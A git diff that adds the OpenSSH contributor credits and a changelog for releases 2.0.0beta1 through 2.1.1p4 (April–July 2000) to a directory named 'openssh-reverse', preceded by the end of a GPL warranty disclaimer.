COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + +IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. diff --git a/other/openssh-reverse/CREDITS b/other/openssh-reverse/CREDITS new file mode 100644 index 0000000..2c7dab9 --- /dev/null +++ b/other/openssh-reverse/CREDITS @@ -0,0 +1,68 @@ +Tatu Ylonen - Creator of SSH + +Aaron Campbell, Bob Beck, Markus Friedl, Niels Provos, +Theo de Raadt, and Dug Song - Creators of OpenSSH + +Andre Lucas - new login code, many fixes +Andreas Steinmetz - Shadow password expiry support +Andrew McGill - SCO fixes +Andrew Stribblehill - Bugfixes +Andy Sloane - bugfixes +Arkadiusz Miskiewicz - IPv6 compat fixes +Ben Lindstrom - NeXT support +Ben Taylor - Solaris debugging and fixes +Bratislav ILICH - Configure fix +Chip Salzenberg - Assorted patches +Chris Adams - OSF SIA support +Chris Saia - SuSE packaging +Chris, the Young One - Password auth fixes +Christos Zoulas - Autoconf fixes +Chun-Chung Chen - RPM fixes +Dan Brosemer - Autoconf support, build fixes +Darren Hall - AIX patches +David Agraz - Build fixes +David Del Piero - bug fixes +David Hesprich - Configure fixes +David Rankin - libwrap, AIX, NetBSD fixes +Ed Eden - configure fixes +Garrick James - configure fixes +Gary E. Miller - SCO support +Ged Lodder - HPUX fixes and enhancements +Gert Doering - bug and portability fixes +HARUYAMA Seigo - Translations & doc fixes +Hideaki YOSHIFUJI - IPv6 and bug fixes +Hiroshi Takekawa - Configure fixes +Holger Trapp - KRB4/AFS config patch +IWAMURO Motonori - bugfixes +Jani Hakala - Patches +Jarno Huuskonen - Bugfixes +Jim Knoble - Many patches +Jonchen (email unknown) - the original author of PAM support of SSH +Juergen Keil - scp bugfixing +Kees Cook - scp fixes +Kenji Miyake - Configure fixes +Kevin O'Connor - RSAless operation +Kiyokazu SUTO - Bugfixes +Lutz Jaenicke - Bugfixes +Marc G. Fournier - Solaris patches +Matt Richards - AIX patches +Michael Stone - Irix enhancements +Nalin Dahyabhai - PAM environment patch +Niels Kristian Bech Jensen - Assorted patches +Peter Kocks - Makefile fixes +Phil Hands - Debian scripts, assorted patches +Phil Karn - Autoconf fix +Phill Camp - login code fix +SAKAI Kiyotaka - Multiple bugfixes +Simon Wilkinson - PAM fixes +Svante Signell - Bugfixes +Thomas Neumann - Shadow passwords +Tom Bertelson's - AIX auth fixes +Tor-Ake Fransson - AIX support +Tudor Bosman - MD5 password support +Udo Schweigert - ReliantUNIX support +Zack Weinberg - GNOME askpass enhancement + +Apologies to anyone I have missed. + +Damien Miller diff --git a/other/openssh-reverse/ChangeLog b/other/openssh-reverse/ChangeLog new file mode 100644 index 0000000..ed89d88 --- /dev/null +++ b/other/openssh-reverse/ChangeLog @@ -0,0 +1,1897 @@ +20000716 + - Release 2.1.1p4 + +20000715 + - (djm) OpenBSD CVS updates + - provos@cvs.openbsd.org 2000/07/13 16:53:22 + [aux.c readconf.c servconf.c ssh.h] + allow multiple whitespace but only one '=' between tokens, bug report from + Ralf S. Engelschall but different fix. okay deraadt@ + - provos@cvs.openbsd.org 2000/07/13 17:14:09 + [clientloop.c] + typo; todd@fries.net + - provos@cvs.openbsd.org 2000/07/13 17:19:31 + [scp.c] + close can fail on AFS, report error; from Greg Hudson + - markus@cvs.openbsd.org 2000/07/14 16:59:46 + [readconf.c servconf.c] + allow leading whitespace. ok niels + - djm@cvs.openbsd.org 2000/07/14 22:01:38 + [ssh-keygen.c ssh.c] + Always create ~/.ssh with mode 700; ok Markus + - Fixes for SunOS 4.1.4 from Gordon Atwood + - Include floatingpoint.h for entropy.c + - strerror replacement + +20000712 + - (djm) Remove -lresolve for Reliant Unix + - (djm) OpenBSD CVS Updates: + - deraadt@cvs.openbsd.org 2000/07/11 02:11:34 + [session.c sshd.c ] + make MaxStartups code still work with -d; djm + - deraadt@cvs.openbsd.org 2000/07/11 13:17:45 + [readconf.c ssh_config] + disable FallBackToRsh by default + - (djm) Replace in_addr_t with u_int32_t in bsd-inet_aton.c. Report from + Ben Lindstrom + - (djm) Make building of X11-Askpass and GNOME-Askpass optional in RPM + spec file. + - (djm) Released 2.1.1p3 + +20000711 + - (djm) Fixup for AIX getuserattr() support from Tom Bertelson + + - (djm) ReliantUNIX support from Udo Schweigert + - (djm) NeXT: dirent structures to get scp working from Ben Lindstrom + + - (djm) Fix broken inet_ntoa check and ut_user/ut_name confusion, report + from Jim Watt + - (djm) Replaced bsd-snprintf.c with one from Mutt source tree, it is known + to compile on more platforms (incl NeXT). + - (djm) Added bsd-inet_aton and configure support for NeXT + - (djm) Misc NeXT fixes from Ben Lindstrom + - (djm) OpenBSD CVS updates: + - markus@cvs.openbsd.org 2000/06/26 03:22:29 + [authfd.c] + cleanup, less cut&paste + - markus@cvs.openbsd.org 2000/06/26 15:59:19 + [servconf.c servconf.h session.c sshd.8 sshd.c] + MaxStartups: limit number of unauthenticated connections, work by + theo and me + - deraadt@cvs.openbsd.org 2000/07/05 14:18:07 + [session.c] + use no_x11_forwarding_flag correctly; provos ok + - provos@cvs.openbsd.org 2000/07/05 15:35:57 + [sshd.c] + typo + - aaron@cvs.openbsd.org 2000/07/05 22:06:58 + [scp.1 ssh-agent.1 ssh-keygen.1 sshd.8] + Insert more missing .El directives. Our troff really should identify + these and spit out a warning. + - todd@cvs.openbsd.org 2000/07/06 21:55:04 + [auth-rsa.c auth2.c ssh-keygen.c] + clean code is good code + - deraadt@cvs.openbsd.org 2000/07/07 02:14:29 + [serverloop.c] + sense of port forwarding flag test was backwards + - provos@cvs.openbsd.org 2000/07/08 17:17:31 + [compat.c readconf.c] + replace strtok with strsep; from David Young + - deraadt@cvs.openbsd.org 2000/07/08 19:21:15 + [auth.h] + KNF + - ho@cvs.openbsd.org 2000/07/08 19:27:33 + [compat.c readconf.c] + Better conditions for strsep() ending. + - ho@cvs.openbsd.org 2000/07/10 10:27:05 + [readconf.c] + Get the correct message on errors. (niels@ ok) + - ho@cvs.openbsd.org 2000/07/10 10:30:25 + [cipher.c kex.c servconf.c] + strtok() --> strsep(). (niels@ ok) + - (djm) Fix problem with debug mode and MaxStartups + - (djm) Don't generate host keys when $(DESTDIR) is set (e.g. during RPM + builds) + - (djm) Add strsep function from OpenBSD libc for systems that lack it + +20000709 + - (djm) Only enable PAM_TTY kludge for Linux. Problem report from + Kevin Steves + - (djm) Match prototype and function declaration for rresvport_af. + Problem report from Niklas Edmundsson + - (djm) Missing $(DESTDIR) on host-key target causing problems with RPM + builds. Problem report from Gregory Leblanc + - (djm) Replace ut_name with ut_user. Patch from Jim Watt + + - (djm) Fix pam sprintf fix + - (djm) Cleanup entropy collection code a little more. Split initialisation + from seeding, perform intialisation immediatly at start, be careful with + uids. Based on problem report from Jim Watt + - (djm) More NeXT compatibility from Ben Lindstrom + Including sigaction() et al. replacements + - (djm) AIX getuserattr() session initialisation from Tom Bertelson + + +20000708 + - (djm) Fix bad fprintf format handling in auth-pam.c. Patch from + Aaron Hopkins + - (djm) Fix incorrect configure handling of --with-rsh-path option. Fix from + Lutz Jaenicke + - (djm) Fixed undefined variables for OSF SIA. Report from + Baars, Henk + - (djm) Handle EWOULDBLOCK returns from read() and write() in atomicio.c + Fix from Marquess, Steve Mr JMLFDC + - (djm) Don't use inet_addr. + +20000702 + - (djm) Fix brace mismatch from Corinna Vinschen + - (djm) Stop shadow expiry checking from preventing logins with NIS. Based + on fix from HARUYAMA Seigo + - (djm) Use standard OpenSSL functions in auth-skey.c. Patch from + Chris, the Young One + - (djm) Fix scp progress meter on really wide terminals. Based on patch + from James H. Cloos Jr. + +20000701 + - (djm) Fix Tru64 SIA problems reported by John P Speno + - (djm) Login fixes from Tom Bertelson + - (djm) Replace "/bin/sh" with _PATH_BSHELL. Report from Corinna Vinschen + + - (djm) Replace "/usr/bin/login" with LOGIN_PROGRAM + - (djm) Added check for broken snprintf() functions which do not correctly + terminate output string and attempt to use replacement. + - (djm) Released 2.1.1p2 + +20000628 + - (djm) Fixes to lastlog code for Irix + - (djm) Use atomicio in loginrec + - (djm) Patch from Michael Stone to add support for + Irix 6.x array sessions, project id's, and system audit trail id. + - (djm) Added 'distprep' make target to simplify packaging + - (djm) Added patch from Chris Adams to add OSF SIA + support. Enable using "USE_SIA=1 ./configure [options]" + +20000627 + - (djm) Fixes to login code - not setting li->uid, cleanups + - (djm) Formatting + +20000626 + - (djm) Better fix to aclocal tests from Garrick James + - (djm) Account expiry support from Andreas Steinmetz + - (djm) Added password expiry checking (no password change support) + - (djm) Make EGD failures non-fatal if OpenSSL's entropy pool is still OK + based on patch from Lutz Jaenicke + - (djm) Fix fixed EGD code. + - OpenBSD CVS update + - provos@cvs.openbsd.org 2000/06/25 14:17:58 + [channels.c] + correct check for bad channel ids; from Wei Dai + +20000623 + - (djm) Use sa_family_t in prototype for rresvport_af. Patch from + Svante Signell + - (djm) Autoconf logic to define sa_family_t if it is missing + - OpenBSD CVS Updates: + - markus@cvs.openbsd.org 2000/06/22 10:32:27 + [sshd.c] + missing atomicio; report from Steve.Marquess@DET.AMEDD.ARMY.MIL + - djm@cvs.openbsd.org 2000/06/22 17:55:00 + [auth-krb4.c key.c radix.c uuencode.c] + Missing CVS idents; ok markus + +20000622 + - (djm) Automatically generate host key during "make install". Suggested + by Gary E. Miller + - (djm) Paranoia before kill() system call + - OpenBSD CVS Updates: + - markus@cvs.openbsd.org 2000/06/18 18:50:11 + [auth2.c compat.c compat.h sshconnect2.c] + make userauth+pubkey interop with ssh.com-2.2.0 + - markus@cvs.openbsd.org 2000/06/18 20:56:17 + [dsa.c] + mem leak + be more paranoid in dsa_verify. + - markus@cvs.openbsd.org 2000/06/18 21:29:50 + [key.c] + cleanup fingerprinting, less hardcoded sizes + - markus@cvs.openbsd.org 2000/06/19 19:39:45 + [atomicio.c auth-options.c auth-passwd.c auth-rh-rsa.c auth-rhosts.c] + [auth-rsa.c auth-skey.c authfd.c authfd.h authfile.c bufaux.c bufaux.h] + [buffer.c buffer.h canohost.c channels.c channels.h cipher.c cipher.h] + [clientloop.c compat.c compat.h compress.c compress.h crc32.c crc32.h] + [deattack.c dispatch.c dsa.c fingerprint.c fingerprint.h getput.h hmac.c] + [kex.c log-client.c log-server.c login.c match.c mpaux.c mpaux.h nchan.c] + [nchan.h packet.c packet.h pty.c pty.h readconf.c readconf.h readpass.c] + [rsa.c rsa.h scp.c servconf.c servconf.h ssh-add.c ssh-keygen.c ssh.c] + [ssh.h tildexpand.c ttymodes.c ttymodes.h uidswap.c xmalloc.c xmalloc.h] + OpenBSD tag + - markus@cvs.openbsd.org 2000/06/21 10:46:10 + sshconnect2.c missing free; nuke old comment + +20000620 + - (djm) Replace use of '-o' and '-a' logical operators in configure tests + with '||' and '&&'. As suggested by Jim Knoble + to fix SCO Unixware problem reported by Gary E. Miller + - (djm) Typo in loginrec.c + +20000618 + - (djm) Add summary of configure options to end of ./configure run + - (djm) Not all systems define RUSAGE_SELF & RUSAGE_CHILDREN. Report from + Michael Stone + - (djm) rusage is a privileged operation on some Unices (incl. + Solaris 2.5.1). Report from Paul D. Smith + - (djm) Avoid PAM failures when running without a TTY. Report from + Martin Petrak + - (djm) Include sys/types.h when including netinet/in.h in configure tests. + Patch from Jun-ichiro itojun Hagino + - (djm) Started merge of Ben Lindstrom's NeXT support + - OpenBSD CVS updates: + - deraadt@cvs.openbsd.org 2000/06/17 09:58:46 + [channels.c] + everyone says "nix it" (remove protocol 2 debugging message) + - markus@cvs.openbsd.org 2000/06/17 13:24:34 + [sshconnect.c] + allow extended server banners + - markus@cvs.openbsd.org 2000/06/17 14:30:10 + [sshconnect.c] + missing atomicio, typo + - jakob@cvs.openbsd.org 2000/06/17 16:52:34 + [servconf.c servconf.h session.c sshd.8 sshd_config] + add support for ssh v2 subsystems. ok markus@. + - deraadt@cvs.openbsd.org 2000/06/17 18:57:48 + [readconf.c servconf.c] + include = in WHITESPACE; markus ok + - markus@cvs.openbsd.org 2000/06/17 19:09:10 + [auth2.c] + implement bug compatibility with ssh-2.0.13 pubkey, server side + - markus@cvs.openbsd.org 2000/06/17 21:00:28 + [compat.c] + initial support for ssh.com's 2.2.0 + - markus@cvs.openbsd.org 2000/06/17 21:16:09 + [scp.c] + typo + - markus@cvs.openbsd.org 2000/06/17 22:05:02 + [auth-rsa.c auth2.c serverloop.c session.c auth-options.c auth-options.h] + split auth-rsa option parsing into auth-options + add options support to authorized_keys2 + - markus@cvs.openbsd.org 2000/06/17 22:42:54 + [session.c] + typo + +20000613 + - (djm) Fixes from Andrew McGill : + - Platform define for SCO 3.x which breaks on /dev/ptmx + - Detect and try to fix missing MAXPATHLEN + - (djm) Fix short copy in loginrec.c (based on patch from Phill Camp + + +20000612 + - (djm) Glob manpages in RPM spec files to catch compressed files + - (djm) Full license in auth-pam.c + - (djm) Configure fixes from SAKAI Kiyotaka + - (andre) AIX, lastlog, configure fixes from Tom Bertelson : + - Don't try to retrieve lastlog from wtmp/wtmpx if DISABLE_LASTLOG is + def'd + - Set AIX to use preformatted manpages + +20000610 + - (djm) Minor doc tweaks + - (djm) Fix for configure on bash2 from Jim Knoble + +20000609 + - (djm) Patch from Kenji Miyake to disable utmp usage + (in favour of utmpx) on Solaris 8 + +20000606 + - (djm) Cleanup of entropy.c. Reorganised code, removed second pass through + list of commands (by default). Removed verbose debugging (by default). + - (djm) Increased command entropy estimates and default entropy collection + timeout + - (djm) Remove duplicate headers from loginrec.c + - (djm) Don't add /usr/local/lib to library search path on Irix + - (djm) Fix rsh path in RPMs. Report from Jason L Tibbitts III + + - (djm) Warn user if grabs fail in GNOME askpass. Patch from Zack Weinberg + + - (djm) OpenBSD CVS updates: + - todd@cvs.openbsd.org + [sshconnect2.c] + teach protocol v2 to count login failures properly and also enable an + explanation of why the password prompt comes up again like v1; this is NOT + crypto + - markus@cvs.openbsd.org + [readconf.c readconf.h servconf.c servconf.h session.c ssh.1 ssh.c sshd.8] + xauth_location support; pr 1234 + [readconf.c sshconnect2.c] + typo, unused + [session.c] + allow use_login only for login sessions, otherwise remote commands are + execed with uid==0 + [sshd.8] + document UseLogin better + [version.h] + OpenSSH 2.1.1 + [auth-rsa.c] + fix match_hostname() logic for auth-rsa: deny access if we have a + negative match or no match at all + [channels.c hostfile.c match.c] + don't panic if mkdtemp fails for authfwd; jkb@yahoo-inc.com via + kris@FreeBSD.org + +20000606 + - (djm) Added --with-cflags, --with-ldflags and --with-libs options to + configure. + +20000604 + - Configure tweaking for new login code on Irix 5.3 + - (andre) login code changes based on djm feedback + +20000603 + - (andre) New login code + - Remove bsd-login.[ch] and all the OpenBSD-derived code in login.c + - Add loginrec.[ch], logintest.c and autoconf code + +20000531 + - Cleanup of auth.c, login.c and fake-* + - Cleanup of auth-pam.c, save and print "account expired" error messages + - Fix EGD read bug by IWAMURO Motonori + - Rewrote bsd-login to use proper utmp API if available. Major cleanup + of fallback DIY code. + +20000530 + - Define atexit for old Solaris + - Fix buffer overrun in login.c for systems which use syslen in utmpx. + patch from YOSHIFUJI Hideaki + - OpenBSD CVS updates: + - markus@cvs.openbsd.org + [session.c] + make x11-fwd work w/ localhost (xauth add host/unix:11) + [cipher.c compat.c readconf.c servconf.c] + check strtok() != NULL; ok niels@ + [key.c] + fix key_read() for uuencoded keys w/o '=' + [serverloop.c] + group ssh1 vs. ssh2 in serverloop + [kex.c kex.h myproposal.h sshconnect2.c sshd.c] + split kexinit/kexdh, factor out common code + [readconf.c ssh.1 ssh.c] + forwardagent defaults to no, add ssh -A + - theo@cvs.openbsd.org + [session.c] + just some line shortening + - Released 2.1.0p3 + +20000520 + - Xauth fix from Markus Friedl + - Don't touch utmp if USE_UTMPX defined + - SunOS 4.x support from Todd C. Miller + - SIGCHLD fix for AIX and HPUX from Tom Bertelson + - HPUX and Configure fixes from Lutz Jaenicke + + - Use mkinstalldirs script to make directories instead of non-portable + "install -d". Suggested by Lutz Jaenicke + - Doc cleanup + +20000518 + - Include Andre Lucas' fixprogs script. Forgot to "cvs add" it yesterday + - OpenBSD CVS updates: + - markus@cvs.openbsd.org + [sshconnect.c] + copy only ai_addrlen bytes; misiek@pld.org.pl + [auth.c] + accept an empty shell in authentication; bug reported by + chris@tinker.ucr.edu + [serverloop.c] + we don't have stderr for interactive terminal sessions (fcntl errors) + +20000517 + - Fix from Andre Lucas + - Fixes command line printing segfaults (spotter: Bladt Norbert) + - Fixes erroneous printing of debug messages to syslog + - Fixes utmp for MacOS X (spotter: Aristedes Maniatis) + - Gives useful error message if PRNG initialisation fails + - Reduced ssh startup delay + - Measures cumulative command time rather than the time between reads + after select() + - 'fixprogs' perl script to eliminate non-working entropy commands, and + optionally run 'ent' to measure command entropy + - Applied Tom Bertelson's AIX authentication fix + - Avoid WCOREDUMP complation errors for systems that lack it + - Avoid SIGCHLD warnings from entropy commands + - Fix HAVE_PAM_GETENVLIST setting from Simon Wilkinson + - OpenBSD CVS update: + - markus@cvs.openbsd.org + [ssh.c] + fix usage() + [ssh2.h] + draft-ietf-secsh-architecture-05.txt + [ssh.1] + document ssh -T -N (ssh2 only) + [channels.c serverloop.c ssh.h sshconnect.c sshd.c aux.c] + enable nonblocking IO for sshd w/ proto 1, too; split out common code + [aux.c] + missing include + - Several patches from SAKAI Kiyotaka + - INSTALL typo and URL fix + - Makefile fix + - Solaris fixes + - Checking for ssize_t and memmove. Based on patch from SAKAI Kiyotaka + + - RSAless operation patch from kevin_oconnor@standardandpoors.com + - Detect OpenSSL seperatly from RSA + - Better test for RSA (more compatible with RSAref). Based on work by + Ed Eden + +20000513 + - Fix for non-recognised DSA keys from Arkadiusz Miskiewicz + + +20000511 + - Fix for prng_seed permissions checking from Lutz Jaenicke + + - "make host-key" fix for Irix + +20000509 + - OpenBSD CVS update + - markus@cvs.openbsd.org + [cipher.h myproposal.h readconf.c readconf.h servconf.c ssh.1 ssh.c] + [ssh.h sshconnect1.c sshconnect2.c sshd.8] + - complain about invalid ciphers in SSH1 (e.g. arcfour is SSH2 only) + - hugh@cvs.openbsd.org + [ssh.1] + - zap typo + [ssh-keygen.1] + - One last nit fix. (markus approved) + [sshd.8] + - some markus certified spelling adjustments + - markus@cvs.openbsd.org + [auth2.c channels.c clientloop.c compat compat.h dsa.c kex.c] + [sshconnect2.c ] + - bug compat w/ ssh-2.0.13 x11, split out bugs + [nchan.c] + - no drain if ibuf_empty, fixes x11fwd problems; tests by fries@ + [ssh-keygen.c] + - handle escapes in real and original key format, ok millert@ + [version.h] + - OpenSSH-2.1 + - Moved all the bsd-* and fake-* stuff into new libopenbsd-compat.a + - Doc updates + - Cleanup of bsd-base64 headers, bugfix definitions of __b64_*. Reported + by Andre Lucas + +20000508 + - Makefile and RPM spec fixes + - Generate DSA host keys during "make key" or RPM installs + - OpenBSD CVS update + - markus@cvs.openbsd.org + [clientloop.c sshconnect2.c] + - make x11-fwd interop w/ ssh-2.0.13 + [README.openssh2] + - interop w/ SecureFX + - Release 2.0.0beta2 + + - Configure caching and cleanup patch from Andre Lucas' + + +20000507 + - Remove references to SSLeay. + - Big OpenBSD CVS update + - markus@cvs.openbsd.org + [clientloop.c] + - typo + [session.c] + - update proctitle on pty alloc/dealloc, e.g. w/ windows client + [session.c] + - update proctitle for proto 1, too + [channels.h nchan.c serverloop.c session.c sshd.c] + - use c-style comments + - deraadt@cvs.openbsd.org + [scp.c] + - more atomicio + - markus@cvs.openbsd.org + [channels.c] + - set O_NONBLOCK + [ssh.1] + - update AUTHOR + [readconf.c ssh-keygen.c ssh.h] + - default DSA key file ~/.ssh/id_dsa + [clientloop.c] + - typo, rm verbose debug + - deraadt@cvs.openbsd.org + [ssh-keygen.1] + - document DSA use of ssh-keygen + [sshd.8] + - a start at describing what i understand of the DSA side + [ssh-keygen.1] + - document -X and -x + [ssh-keygen.c] + - simplify usage + - markus@cvs.openbsd.org + [sshd.8] + - there is no rhosts_dsa + [ssh-keygen.1] + - document -y, update -X,-x + [nchan.c] + - fix close for non-open ssh1 channels + [servconf.c servconf.h ssh.h sshd.8 sshd.c ] + - s/DsaKey/HostDSAKey/, document option + [sshconnect2.c] + - respect number_of_password_prompts + [channels.c channels.h servconf.c servconf.h session.c sshd.8] + - GatewayPorts for sshd, ok deraadt@ + [ssh-add.1 ssh-agent.1 ssh.1] + - more doc on: DSA, id_dsa, known_hosts2, authorized_keys2 + [ssh.1] + - more info on proto 2 + [sshd.8] + - sync AUTHOR w/ ssh.1 + [key.c key.h sshconnect.c] + - print key type when talking about host keys + [packet.c] + - clear padding in ssh2 + [dsa.c key.c radix.c ssh.h sshconnect1.c uuencode.c uuencode.h] + - replace broken uuencode w/ libc b64_ntop + [auth2.c] + - log failure before sending the reply + [key.c radix.c uuencode.c] + - remote trailing comments before calling __b64_pton + [auth2.c readconf.c readconf.h servconf.c servconf.h ssh.1] + [sshconnect2.c sshd.8] + - add DSAAuthetication option to ssh/sshd, document SSH2 in sshd.8 + - Bring in b64_ntop and b64_pton from OpenBSD libc (bsd-base64.[ch]) + +20000502 + - OpenBSD CVS update + [channels.c] + - init all fds, close all fds. + [sshconnect2.c] + - check whether file exists before asking for passphrase + [servconf.c servconf.h sshd.8 sshd.c] + - PidFile, pr 1210 + [channels.c] + - EINTR + [channels.c] + - unbreak, ok niels@ + [sshd.c] + - unlink pid file, ok niels@ + [auth2.c] + - Add missing #ifdefs; ok - markus + - Add Andre Lucas' patch to read entropy + gathering commands from a text file + - Release 2.0.0beta1 + +20000501 + - OpenBSD CVS update + [packet.c] + - send debug messages in SSH2 format + [scp.c] + - fix very rare EAGAIN/EINTR issues; based on work by djm + [packet.c] + - less debug, rm unused + [auth2.c] + - disable kerb,s/key in ssh2 + [sshd.8] + - Minor tweaks and typo fixes. + [ssh-keygen.c] + - Put -d into usage and reorder. markus ok. + - Include missing headers for OpenSSL tests. Fix from Phil Karn + + - Fixed __progname symbol collisions reported by Andre Lucas + + - Merged bsd-login ttyslot and AIX utmp patch from Gert Doering + + - Add some missing ifdefs to auth2.c + - Deprecate perl-tk askpass. + - Irix portability fixes - don't include netinet headers more than once + - Make sure we don't save PRNG seed more than once + +20000430 + - Merge HP-UX fixes and TCB support from Ged Lodder + - Integrate Andre Lucas' entropy collection + patch. + - Adds timeout to entropy collection + - Disables slow entropy sources + - Load and save seed file + - Changed entropy seed code to user per-user seeds only (server seed is + saved in root's .ssh directory) + - Use atexit() and fatal cleanups to save seed on exit + - More OpenBSD updates: + [session.c] + - don't call chan_write_failed() if we are not writing + [auth-rsa.c auth1.c authfd.c hostfile.c ssh-agent.c] + - keysize warnings error() -> log() + +20000429 + - Merge big update to OpenSSH-2.0 from OpenBSD CVS + [README.openssh2] + - interop w/ F-secure windows client + - sync documentation + - ssh_host_dsa_key not ssh_dsa_key + [auth-rsa.c] + - missing fclose + [auth.c authfile.c compat.c dsa.c dsa.h hostfile.c key.c key.h radix.c] + [readconf.c readconf.h ssh-add.c ssh-keygen.c ssh.c ssh.h sshconnect.c] + [sshd.c uuencode.c uuencode.h authfile.h] + - add DSA pubkey auth and other SSH2 fixes. use ssh-keygen -[xX] + for trading keys with the real and the original SSH, directly from the + people who invented the SSH protocol. + [auth.c auth.h authfile.c sshconnect.c auth1.c auth2.c sshconnect.h] + [sshconnect1.c sshconnect2.c] + - split auth/sshconnect in one file per protocol version + [sshconnect2.c] + - remove debug + [uuencode.c] + - add trailing = + [version.h] + - OpenSSH-2.0 + [ssh-keygen.1 ssh-keygen.c] + - add -R flag: exit code indicates if RSA is alive + [sshd.c] + - remove unused + silent if -Q is specified + [ssh.h] + - host key becomes /etc/ssh_host_dsa_key + [readconf.c servconf.c ] + - ssh/sshd default to proto 1 and 2 + [uuencode.c] + - remove debug + [auth2.c ssh-keygen.c sshconnect2.c sshd.c] + - xfree DSA blobs + [auth2.c serverloop.c session.c] + - cleanup logging for sshd/2, respect PasswordAuth no + [sshconnect2.c] + - less debug, respect .ssh/config + [README.openssh2 channels.c channels.h] + - clientloop.c session.c ssh.c + - support for x11-fwding, client+server + +20000421 + - Merge fix from OpenBSD CVS + [ssh-agent.c] + - Fix memory leak per connection. Report from Andy Spiegl + via Debian bug #59926 + - Define __progname in session.c if libc doesn't + - Remove indentation on autoconf #include statements to avoid bug in + DEC Tru64 compiler. Report and fix from David Del Piero + + +20000420 + - Make fixpaths work with perl4, patch from Andre Lucas + + - Sync with OpenBSD CVS: + [clientloop.c login.c serverloop.c ssh-agent.c ssh.h sshconnect.c sshd.c] + - pid_t + [session.c] + - remove bogus chan_read_failed. this could cause data + corruption (missing data) at end of a SSH2 session. + - Merge fixes from Debian patch from Phil Hands + - Allow setting of PAM service name through CFLAGS (SSHD_PAM_SERVICE) + - Use vhangup to clean up Linux ttys + - Force posix getopt processing on GNU libc systems + - Debian bug #55910 - remove references to ssl(8) manpages + - Debian bug #58031 - ssh_config lies about default cipher + +20000419 + - OpenBSD CVS updates + [channels.c] + - fix pr 1196, listen_port and port_to_connect interchanged + [scp.c] + - after completion, replace the progress bar ETA counter with a final + elapsed time; my idea, aaron wrote the patch + [ssh_config sshd_config] + - show 'Protocol' as an example, ok markus@ + [sshd.c] + - missing xfree() + - Add missing header to bsd-misc.c + +20000416 + - Reduce diff against OpenBSD source + - All OpenSSL includes are now unconditionally referenced as + openssl/foo.h + - Pick up formatting changes + - Other minor changed (typecasts, etc) that I missed + +20000415 + - OpenBSD CVS updates. + [ssh.1 ssh.c] + - ssh -2 + [auth.c channels.c clientloop.c packet.c packet.h serverloop.c] + [session.c sshconnect.c] + - check payload for (illegal) extra data + [ALL] + whitespace cleanup + +20000413 + - INSTALL doc updates + - Merged OpenBSD updates to include paths. + +20000412 + - OpenBSD CVS updates: + - [channels.c] + repair x11-fwd + - [sshconnect.c] + fix passwd prompt for ssh2, less debugging output. + - [clientloop.c compat.c dsa.c kex.c sshd.c] + less debugging output + - [kex.c kex.h sshconnect.c sshd.c] + check for reasonable public DH values + - [README.openssh2 cipher.c cipher.h compat.c compat.h readconf.c] + [readconf.h servconf.c servconf.h ssh.c ssh.h sshconnect.c sshd.c] + add Cipher and Protocol options to ssh/sshd, e.g.: + ssh -o 'Protocol 1,2' if you prefer proto 1, ssh -o 'Ciphers + arcfour,3des-cbc' + - [sshd.c] + print 1.99 only if server supports both + +20000408 + - Avoid some compiler warnings in fake-get*.c + - Add IPTOS macros for systems which lack them + - Only set define entropy collection macros if they are found + - More large OpenBSD CVS updates: + - [auth.c auth.h servconf.c servconf.h serverloop.c session.c] + [session.h ssh.h sshd.c README.openssh2] + ssh2 server side, see README.openssh2; enable with 'sshd -2' + - [channels.c] + no adjust after close + - [sshd.c compat.c ] + interop w/ latest ssh.com windows client. + +20000406 + - OpenBSD CVS update: + - [channels.c] + close efd on eof + - [clientloop.c compat.c ssh.c sshconnect.c myproposal.h] + ssh2 client implementation, interops w/ ssh.com and lsh servers. + - [sshconnect.c] + missing free. + - [authfile.c cipher.c cipher.h packet.c sshconnect.c sshd.c] + remove unused argument, split cipher_mask() + - [clientloop.c] + re-order: group ssh1 vs. ssh2 + - Make Redhat spec require openssl >= 0.9.5a + +20000404 + - Add tests for RAND_add function when searching for OpenSSL + - OpenBSD CVS update: + - [packet.h packet.c] + ssh2 packet format + - [packet.h packet.c nchan2.ms nchan.h compat.h compat.c] + [channels.h channels.c] + channel layer support for ssh2 + - [kex.h kex.c hmac.h hmac.c dsa.c dsa.h] + DSA, keyexchange, algorithm agreement for ssh2 + - Generate manpages before make install not at the end of make all + - Don't seed the rng quite so often + - Always reseed rng when requested + +20000403 + - Wrote entropy collection routines for systems that lack /dev/random + and EGD + - Disable tests and typedefs for 64 bit types. They are currently unused. + +20000401 + - Big OpenBSD CVS update (mainly beginnings of SSH2 infrastructure) + - [auth.c session.c sshd.c auth.h] + split sshd.c -> auth.c session.c sshd.c plus cleanup and goto-removal + - [bufaux.c bufaux.h] + support ssh2 bignums + - [channels.c channels.h clientloop.c sshd.c nchan.c nchan.h packet.c] + [readconf.c ssh.c ssh.h serverloop.c] + replace big switch() with function tables (prepare for ssh2) + - [ssh2.h] + ssh2 message type codes + - [sshd.8] + reorder Xr to avoid cutting + - [serverloop.c] + close(fdin) if fdin != fdout, shutdown otherwise, ok theo@ + - [channels.c] + missing close + allow bigger packets + - [cipher.c cipher.h] + support ssh2 ciphers + - [compress.c] + cleanup, less code + - [dispatch.c dispatch.h] + function tables for different message types + - [log-server.c] + do not log() if debuggin to stderr + rename a cpp symbol, to avoid param.h collision + - [mpaux.c] + KNF + - 